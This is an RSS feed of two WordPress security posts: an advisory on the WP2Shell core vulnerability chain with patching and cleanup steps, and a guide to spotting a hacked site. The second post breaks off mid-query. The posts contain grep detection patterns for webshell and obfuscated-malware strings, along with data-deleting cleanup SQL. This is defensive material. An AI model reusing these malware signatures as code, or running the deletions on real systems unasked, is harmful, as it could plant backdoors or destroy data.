<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Zahid Rasheed</title>
    <description>The latest articles on DEV Community by Zahid Rasheed (@zahidabbasi).</description>
    <link>https://dev.to/zahidabbasi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4021047%2F7bd63bfb-2fa6-4268-bac1-c976818ff20a.png</url>
      <title>DEV Community: Zahid Rasheed</title>
      <link>https://dev.to/zahidabbasi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zahidabbasi"/>
    <language>en</language>
    <item>
      <title>WP2Shell (CVE-2026-63030): Is Your WordPress Site Already Hacked? How to Check and Fix It</title>
      <dc:creator>Zahid Rasheed</dc:creator>
      <pubDate>Wed, 22 Jul 2026 09:16:04 +0000</pubDate>
      <link>https://dev.to/zahidabbasi/wp2shell-cve-2026-63030-is-your-wordpress-site-already-hacked-how-to-check-and-fix-it-1c84</link>
      <guid>https://dev.to/zahidabbasi/wp2shell-cve-2026-63030-is-your-wordpress-site-already-hacked-how-to-check-and-fix-it-1c84</guid>
      <description>&lt;p&gt;If you run a WordPress site, stop what you're doing and check your version number. There is a live, unauthenticated remote-code-execution flaw in &lt;strong&gt;WordPress core itself&lt;/strong&gt; — no vulnerable plugin required — and attackers have been mass-exploiting it since July 18. It's been nicknamed &lt;strong&gt;WP2Shell&lt;/strong&gt;, and unlike most "critical" advisories that need a specific plugin or a logged-in account, this one lets a complete stranger run code on a stock WordPress install from anywhere on the internet.&lt;/p&gt;

&lt;p&gt;I've cleaned north of 400 hacked WordPress sites over 15 years, and the pattern with a bug like this is always the same: the sites that get hit aren't the ones with weak passwords or pirated themes. They're ordinary, well-maintained sites whose owners hadn't heard the news yet and were three days behind on an update. So let's make sure that's not you.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 30-Second Version
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What it is:&lt;/strong&gt; Two chained WordPress core vulnerabilities — &lt;strong&gt;CVE-2026-63030&lt;/strong&gt; (CVSS 9.8, a route-confusion bug in the REST API's &lt;code&gt;/wp-json/batch/v1&lt;/code&gt; endpoint) and &lt;strong&gt;CVE-2026-60137&lt;/strong&gt; (CVSS 9.1, a SQL injection in &lt;code&gt;WP_Query&lt;/code&gt;). Chained together they give an &lt;strong&gt;unauthenticated attacker full remote code execution&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Are you affected?&lt;/strong&gt; Yes, if you're running &lt;strong&gt;WordPress 6.9.0–6.9.4&lt;/strong&gt; or &lt;strong&gt;7.0.0–7.0.1&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The fix:&lt;/strong&gt; Update to &lt;strong&gt;WordPress 6.9.5 or 7.0.2&lt;/strong&gt; immediately (released July 17, 2026). WordPress.org pushed forced auto-updates for affected sites — but you must confirm yours actually applied.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Already breached?&lt;/strong&gt; Attackers are planting hidden admin accounts and webshells. &lt;a href="https://xuro.net/hacked-site-checker/" rel="noopener noreferrer"&gt;Scan your site free&lt;/a&gt; to check — the cleanup steps are further down.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What WP2Shell Actually Does
&lt;/h2&gt;

&lt;p&gt;Most WordPress attacks need a foothold — a vulnerable plugin, a leaked password, a poisoned theme. WP2Shell needs none of that. It abuses two flaws that ship in WordPress core:&lt;/p&gt;

&lt;p&gt;The first, &lt;strong&gt;CVE-2026-63030&lt;/strong&gt;, is a &lt;em&gt;route-confusion&lt;/em&gt; bug in the REST API's batch-processing endpoint (&lt;code&gt;/wp-json/batch/v1&lt;/code&gt;), which is enabled by default. It lets an attacker smuggle input past the normal permission checks. That smuggled input feeds the second flaw, &lt;strong&gt;CVE-2026-60137&lt;/strong&gt;, a SQL injection in WordPress's core &lt;code&gt;WP_Query&lt;/code&gt; (via the &lt;code&gt;author__not_in&lt;/code&gt; parameter).&lt;/p&gt;

&lt;p&gt;Chained, the two turn into a full unauthenticated compromise: the attacker forges a database record, writes to WordPress's oEmbed cache, and from there escalates into a &lt;strong&gt;rogue administrator account and a webshell plugin&lt;/strong&gt;. Once that webshell lands, they own the server — they can serve spam, inject malware into every page, steal customer data from a WooCommerce store, or pivot to other sites on the same hosting account.&lt;/p&gt;

&lt;p&gt;The scale is what makes this ugly. Security firm Wiz found that roughly &lt;strong&gt;60% of organizations running WordPress had at least one vulnerable instance&lt;/strong&gt; when the flaws were disclosed, and about a quarter were exposing a vulnerable server directly to the internet. Public proof-of-concept exploit code is already circulating, which is why scanning and exploitation attempts spiked within a day of disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Am I Affected? (Check in 60 Seconds)
&lt;/h2&gt;

&lt;p&gt;You're vulnerable if your site runs any of these versions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, or 6.9.4&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress 7.0.0 or 7.0.1&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To find your version, log into wp-admin and look at the bottom-right of the dashboard, or check &lt;strong&gt;Dashboard → Updates&lt;/strong&gt;. If you can't log in, you can often see it in your page source (though many sites hide it) or ask your host.&lt;/p&gt;

&lt;p&gt;If you're on &lt;strong&gt;6.9.5, 7.0.2, or newer&lt;/strong&gt;, you're patched. If you're on anything &lt;strong&gt;older than 6.9.0&lt;/strong&gt;, you're not affected by &lt;em&gt;this&lt;/em&gt; specific chain — but you're dangerously behind on other security fixes and should update anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Fix It — Right Now
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Update WordPress core.&lt;/strong&gt; Go to &lt;strong&gt;Dashboard → Updates&lt;/strong&gt; and install the latest version (6.9.5 on the 6.9 branch, or 7.0.2 on the 7.0 branch). If you manage the server, you can also update via WP-CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp core update
wp core version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirm the second command reports 6.9.5 / 7.0.2 or higher.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Verify the auto-update actually applied.&lt;/strong&gt; WordPress.org enabled &lt;em&gt;forced&lt;/em&gt; automatic updates for affected sites because of how severe this is — but forced updates can silently fail on sites with file-permission locks, disabled cron, or &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; set. Don't assume. Log in and check the version number yourself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. If you genuinely can't update immediately&lt;/strong&gt;, ask your host or a WAF (Cloudflare, Wordfence, Sucuri) to block requests to &lt;code&gt;/wp-json/batch/v1&lt;/code&gt; as a stopgap. This is a band-aid, not a fix — patch as soon as you can.&lt;/p&gt;

&lt;p&gt;Patching stops &lt;em&gt;future&lt;/em&gt; exploitation. It does &lt;strong&gt;not&lt;/strong&gt; remove an attacker who already got in before you updated. That's the part most people miss.&lt;/p&gt;

&lt;h2&gt;
  
  
  Am I Already Hacked? How to Tell
&lt;/h2&gt;

&lt;p&gt;Because this bug was exploited in the wild for days before many sites updated, a clean version number today doesn't guarantee you weren't hit yesterday. Warning signs to look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Administrator accounts you don't recognize&lt;/strong&gt; (Users → All Users — sort by role and date).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plugins you never installed&lt;/strong&gt;, especially ones with generic names, that are active but not in the plugin directory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unexpected files&lt;/strong&gt; in &lt;code&gt;wp-content/&lt;/code&gt;, &lt;code&gt;wp-includes/&lt;/code&gt;, or the web root — particularly &lt;code&gt;.php&lt;/code&gt; files with random names or recent modification dates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Requests to &lt;code&gt;/wp-json/batch/v1&lt;/code&gt;&lt;/strong&gt; in your access logs around or after July 17.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spam pages, redirects, or "This site may be hacked" warnings&lt;/strong&gt; in Google search results.&lt;/li&gt;
&lt;li&gt;Your host suspending the account or flagging outbound spam.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of that rings true — or you simply want peace of mind — the fastest first check is to &lt;strong&gt;&lt;a href="https://xuro.net/hacked-site-checker/" rel="noopener noreferrer"&gt;run our free hacked-site scanner&lt;/a&gt;&lt;/strong&gt;. It checks your site against malware and phishing blocklists, inspects TLS and security headers, and flags the tell-tale signs of a compromise from the outside, no login or plugin install required.&lt;/p&gt;

&lt;p&gt;For a deeper look, WordPress's security team and several vendors have released an official &lt;em&gt;wp2shell&lt;/em&gt; compromise-scanner plugin and browser extension that check specifically for this attack's fingerprints.&lt;/p&gt;

&lt;h2&gt;
  
  
  If You're Compromised: Don't Just Delete and Move On
&lt;/h2&gt;

&lt;p&gt;Here's the mistake I see constantly. Someone finds one bad file, deletes it, updates WordPress, and calls it done. Two weeks later the site reinfects, because the attacker left a &lt;em&gt;second&lt;/em&gt; backdoor — a hidden admin, a modified &lt;code&gt;wp-config.php&lt;/code&gt;, a cron job, a poisoned &lt;code&gt;.htaccess&lt;/code&gt; — that never got touched. With WP2Shell specifically, the whole point of the attack is to plant &lt;em&gt;persistence&lt;/em&gt;, so a partial cleanup almost always fails.&lt;/p&gt;

&lt;p&gt;So here's what a proper cleanup actually looks like. &lt;strong&gt;Before you touch anything, take a full backup of both the files and the database&lt;/strong&gt; — you want a forensic copy in case you need to trace what happened or something goes wrong mid-clean.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Clean the file system (FTP/SSH).&lt;/strong&gt; The SQL injection let attackers write PHP straight to disk (via MySQL's &lt;code&gt;INTO OUTFILE&lt;/code&gt;), so hunt for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Suspicious PHP files in &lt;code&gt;/wp-content/cache/&lt;/code&gt; with random alphanumeric names (reported examples look like &lt;code&gt;e042u9xy9ra1.php&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;A fake backdoor disguised as a "security patch" in &lt;code&gt;/wp-content/mu-plugins/&lt;/code&gt; — must-use plugins load automatically and don't appear in the normal Plugins list, which makes it a favourite hiding spot. Delete anything you didn't put there.&lt;/li&gt;
&lt;li&gt;Any unknown plugin added under &lt;code&gt;/wp-content/plugins/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then update core to 6.9.5 / 7.0.2 to seal the hole, and lock down file editing in &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DISALLOW_FILE_EDIT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DISALLOW_FILE_MODS'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Reset every credential and kill every session.&lt;/strong&gt; Assume the attacker already has your password hashes.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reset passwords for all users (administrators first), and change the MySQL database password — then update it in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Regenerate your &lt;a href="https://api.wordpress.org/secret-key/1.1/salt/" rel="noopener noreferrer"&gt;WordPress secret keys&lt;/a&gt; and paste them over the old salts in &lt;code&gt;wp-config.php&lt;/code&gt;. This instantly invalidates every logged-in session, including the attacker's.&lt;/li&gt;
&lt;li&gt;Check Users → All Users for any administrator you didn't create, and delete it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Clean the database.&lt;/strong&gt; The attack seeds spoofed records, often stamped with a fixed date of &lt;code&gt;2020-01-01 00:00:00&lt;/code&gt; and a payload pointing to &lt;code&gt;example.invalid&lt;/code&gt;. Back up first, change the &lt;code&gt;wp_&lt;/code&gt; prefix if yours differs, then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_posts&lt;/span&gt;    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;post_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'customize_changeset'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;post_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'2020-01-01 00:00:00'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_posts&lt;/span&gt;    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;post_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'nav_menu_item'&lt;/span&gt;        &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;post_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'2020-01-01 00:00:00'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_postmeta&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;meta_value&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%example.invalid%'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Harden so it can't recur.&lt;/strong&gt; WordPress never needs MySQL's &lt;code&gt;FILE&lt;/code&gt; privilege — and that privilege is exactly what let the SQL injection write a webshell to disk in the first place. Revoke it, logged in as the database root user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;REVOKE&lt;/span&gt; &lt;span class="n"&gt;FILE&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="s1"&gt;'your_wp_db_user'&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="s1"&gt;'localhost'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;FLUSH&lt;/span&gt; &lt;span class="k"&gt;PRIVILEGES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One honest caveat: a determined attacker can also bury a shell inside a &lt;em&gt;legitimate-looking&lt;/em&gt; theme or plugin file, so if any of the above turns up a real infection, treat the whole install as suspect and diff every core, theme, and plugin file against a known-good copy. And if your site handles customer data or payments, you may have breach-notification obligations too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A word on those free "wp2shell checkers."&lt;/strong&gt; Most of them only tell you whether you're &lt;em&gt;patched&lt;/em&gt; — they ping the Batch API route and report back. They do &lt;strong&gt;not&lt;/strong&gt; tell you whether you were &lt;em&gt;breached&lt;/em&gt; before you patched. Since this was exploited in the wild for days before many sites updated, "patched but already compromised" is the dangerous middle ground, and it's exactly what our &lt;a href="https://xuro.net/hacked-site-checker/" rel="noopener noreferrer"&gt;free scanner&lt;/a&gt; and a manual review are built to catch.&lt;/p&gt;

&lt;p&gt;If you'd rather not do that at 2 AM yourself, that's exactly what I do. I offer &lt;a href="https://xuro.net/pricing#malware" rel="noopener noreferrer"&gt;fixed-price malware removal and cleanup starting at $249&lt;/a&gt; — emergency cleanup, full recovery, and hardening so you're not back here next month. And if you want to understand the real stakes, I've written before about the &lt;a href="https://xuro.net/cost-of-hacked-wordpress-site" rel="noopener noreferrer"&gt;true cost of a hacked WordPress site&lt;/a&gt; — it's rarely the cleanup fee that hurts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do I need a vulnerable plugin for WP2Shell to work?&lt;/strong&gt;&lt;br&gt;
No. That's what makes it dangerous. It exploits WordPress core, so a completely stock install with zero third-party plugins is still vulnerable on the affected versions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I have Wordfence / a security plugin. Am I safe?&lt;/strong&gt;&lt;br&gt;
A WAF can help block the exploit traffic, but it's not a substitute for patching, and it won't clean a site that was already breached. Update core first, then verify you're not compromised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WordPress said it auto-updated me. Am I done?&lt;/strong&gt;&lt;br&gt;
Check the version number yourself — forced auto-updates can fail silently on locked-down sites. If it reads 6.9.5 / 7.0.2 or higher, you're patched against the exploit. You still need to confirm you weren't hit beforehand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My site is on managed WordPress hosting. Do I still need to worry?&lt;/strong&gt;&lt;br&gt;
Most reputable managed hosts patched at the platform level within hours, but confirm with your host and still check for compromise if you were on an affected version between July 17 and whenever they patched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;WP2Shell is the rare WordPress vulnerability that deserves the panic: unauthenticated, code execution, in core, exploited at scale. Do three things today — &lt;strong&gt;confirm your version, update to 6.9.5 or 7.0.2, and check whether you were already breached.&lt;/strong&gt; Patching closes the door; it doesn't evict anyone already inside.&lt;/p&gt;

&lt;p&gt;If the scanner turns up something, or you just want a professional set of eyes before your customers notice, &lt;a href="https://xuro.net/contact" rel="noopener noreferrer"&gt;get in touch&lt;/a&gt; — I clean these for a living, and moving fast is the whole game.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://xuro.net/blog/wp2shell-cve-2026-63030-is-your-wordpress-site-hacked" rel="noopener noreferrer"&gt;xuro.net&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>How to Check if Your WordPress Site Is Hacked (2026)</title>
      <dc:creator>Zahid Rasheed</dc:creator>
      <pubDate>Mon, 13 Jul 2026 16:40:20 +0000</pubDate>
      <link>https://dev.to/zahidabbasi/how-to-check-if-your-wordpress-site-is-hacked-2026-1deo</link>
      <guid>https://dev.to/zahidabbasi/how-to-check-if-your-wordpress-site-is-hacked-2026-1deo</guid>
      <description>&lt;p&gt;&lt;strong&gt;Quick answer:&lt;/strong&gt; Signs your WordPress site has been hacked include Google Safe Browsing warnings, unknown admin accounts in &lt;code&gt;wp-admin → Users&lt;/code&gt;, modified &lt;code&gt;functions.php&lt;/code&gt;, PHP files inside &lt;code&gt;/wp-content/uploads/&lt;/code&gt;, unexpected redirects, and sudden traffic drops. Confirm with the &lt;a href="https://transparencyreport.google.com/safe-browsing/search" rel="noopener noreferrer"&gt;Google Safe Browsing Transparency Report&lt;/a&gt;, scan with WPScan or Wordfence, and check &lt;code&gt;functions.php&lt;/code&gt; for obfuscated base64 code.&lt;/p&gt;

&lt;p&gt;A client messaged me on a Friday evening: "Something feels off with my site. Pages are loading slowly and Google is showing a warning when people search for us." Twenty minutes later I was looking at a WordPress installation that had been silently compromised for eleven days. The attacker had injected a pharma spam redirect into the theme's &lt;code&gt;functions.php&lt;/code&gt;, planted a PHP webshell in the uploads folder, and added a backdoor admin account — all while the site kept "working normally" on the surface.&lt;/p&gt;

&lt;p&gt;This is the most common pattern I see. WordPress sites get hacked and the owner has no idea for days, weeks, sometimes months. By the time it's discovered, the damage is done: SEO rankings destroyed by Google's spam classifier, blacklisting by web hosts, and customer trust eroded. This post tells you exactly how to check whether your WordPress site has been hacked, what the signs look like, and what to do about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Warning Signs Your WordPress Site Has Been Hacked
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Google Is Showing a Security Warning
&lt;/h3&gt;

&lt;p&gt;If people searching for your brand see "This site may be hacked" or "Deceptive site ahead" in Chrome, you have a confirmed problem. Google's Safe Browsing system has flagged your site for malware, phishing, or spam content.&lt;/p&gt;

&lt;p&gt;Check immediately: &lt;a href="https://transparencyreport.google.com/safe-browsing/search" rel="noopener noreferrer"&gt;Google Safe Browsing Transparency Report&lt;/a&gt; — enter your domain and it shows any active warnings within seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Your Hosting Provider Suspended the Account
&lt;/h3&gt;

&lt;p&gt;Shared hosts scan for malware automatically. If your site shows a suspension page or you received an email from your host about "malicious content," the malware is already confirmed. Don't restore from a backup immediately — first identify what got in, or it will happen again.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Unexpected Redirects
&lt;/h3&gt;

&lt;p&gt;If visitors are being sent to pharmacy sites, adult content, or fake tech support pages — especially on mobile but not desktop — you have a mobile redirect hack. Attackers target mobile visitors specifically because site owners usually test on desktop.&lt;/p&gt;

&lt;p&gt;To test: use your phone on mobile data (not your office WiFi), clear browser cache, and visit your site. Then check via Google's Mobile-Friendly Test which renders your page as Google would see it.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. New Admin Accounts You Didn't Create
&lt;/h3&gt;

&lt;p&gt;Log into WordPress → Users → All Users. If you see admin accounts with names like &lt;code&gt;admin1&lt;/code&gt;, &lt;code&gt;admin2&lt;/code&gt;, random strings, or addresses you don't recognize — your site is compromised. Attackers create backdoor accounts to maintain access even after you change your password.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Your Site Is Sending Spam Email
&lt;/h3&gt;

&lt;p&gt;Your hosting provider will often flag this first. Signs include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bounce messages from addresses you didn't email&lt;/li&gt;
&lt;li&gt;Customers receiving spam claiming to be from your domain&lt;/li&gt;
&lt;li&gt;Your domain appearing on email blacklists&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Check your domain against &lt;a href="https://mxtoolbox.com/blacklists.aspx" rel="noopener noreferrer"&gt;MXToolbox Blacklist Checker&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Google Search Console Shows Manual Actions or New URLs
&lt;/h3&gt;

&lt;p&gt;Check Google Search Console → Security &amp;amp; Manual Actions → Manual Actions. A manual action means a Google reviewer has confirmed spam or malware. Also check Coverage → Excluded — if you see hundreds of URLs you didn't create (pharma keywords, foreign-language spam pages), those have been injected by attackers.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. Your Site Loads Slowly or Has Unusual Server Load
&lt;/h3&gt;

&lt;p&gt;Malware often runs crypto miners, sends spam, or participates in DDoS botnets in the background. Sudden increases in CPU usage in your hosting control panel — without corresponding traffic increases — are a red flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Check If Your WordPress Site Is Hacked
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Run an External Malware Scan
&lt;/h3&gt;

&lt;p&gt;Before touching anything, get an objective external assessment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sucuri SiteCheck&lt;/strong&gt; (free): &lt;a href="https://sitecheck.sucuri.net" rel="noopener noreferrer"&gt;sitecheck.sucuri.net&lt;/a&gt; — scans your public-facing pages for malware signatures, blacklist status, and outdated software&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VirusTotal&lt;/strong&gt;: enter your domain at &lt;a href="https://www.virustotal.com" rel="noopener noreferrer"&gt;virustotal.com&lt;/a&gt; — checks against 90+ security vendors simultaneously&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Safe Browsing&lt;/strong&gt;: &lt;a href="https://transparencyreport.google.com/safe-browsing/search" rel="noopener noreferrer"&gt;transparencyreport.google.com/safe-browsing/search&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;External scanners only see what's publicly visible. They'll catch injected scripts, redirects, and defacement but they miss malware that only activates under specific conditions (logged-out mobile users, referral from Google, etc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Check Your Files via cPanel or SSH
&lt;/h3&gt;

&lt;p&gt;Log into cPanel → File Manager or connect via SSH. Look for:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recently modified files&lt;/strong&gt; — attackers always modify or create files. In File Manager, sort by "Last Modified." If core WordPress files like &lt;code&gt;wp-login.php&lt;/code&gt;, &lt;code&gt;wp-includes/functions.php&lt;/code&gt;, or anything in &lt;code&gt;wp-admin/&lt;/code&gt; was modified recently and you didn't do it, that's your smoking gun.&lt;/p&gt;

&lt;p&gt;Via SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Files modified in the last 7 days&lt;/span&gt;
find /home/youraccount/public_html &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-ls&lt;/span&gt;

&lt;span class="c"&gt;# PHP files in uploads folder (should never be there legitimately)&lt;/span&gt;
find /home/youraccount/public_html/wp-content/uploads &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt;

&lt;span class="c"&gt;# Files containing common malware strings&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"eval(base64_decode"&lt;/span&gt; /home/youraccount/public_html/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"preg_replace.*&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;e"&lt;/span&gt; /home/youraccount/public_html/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_POST&lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;'cmd'&lt;/span&gt;&lt;span class="se"&gt;\]&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; /home/youraccount/public_html/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PHP files in the uploads directory are almost always malicious — WordPress has no legitimate reason to put PHP there.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Scan With a WordPress Security Plugin
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Wordfence&lt;/strong&gt; (free tier) runs a file integrity check against the official WordPress repository — it flags any core or plugin file that doesn't match what it should be:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install Wordfence → Scan → Start New Scan&lt;/li&gt;
&lt;li&gt;Review results: "Files Added by WordPress" and "Files Modified in WordPress Core" are the critical sections&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;MalCare&lt;/strong&gt; is faster for large sites and uses server-side scanning so it doesn't slow your site.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Check Your Database for Injected Content
&lt;/h3&gt;

&lt;p&gt;Attackers frequently inject spam links or malicious JavaScript into your database — posts, options, widget content. The WP Admin panel won't show these obviously because they're hidden in serialized data or conditionally displayed.&lt;/p&gt;

&lt;p&gt;Via phpMyAdmin in cPanel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Check wp_options for suspicious URLs or scripts&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;option_value&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_options&lt;/span&gt; 
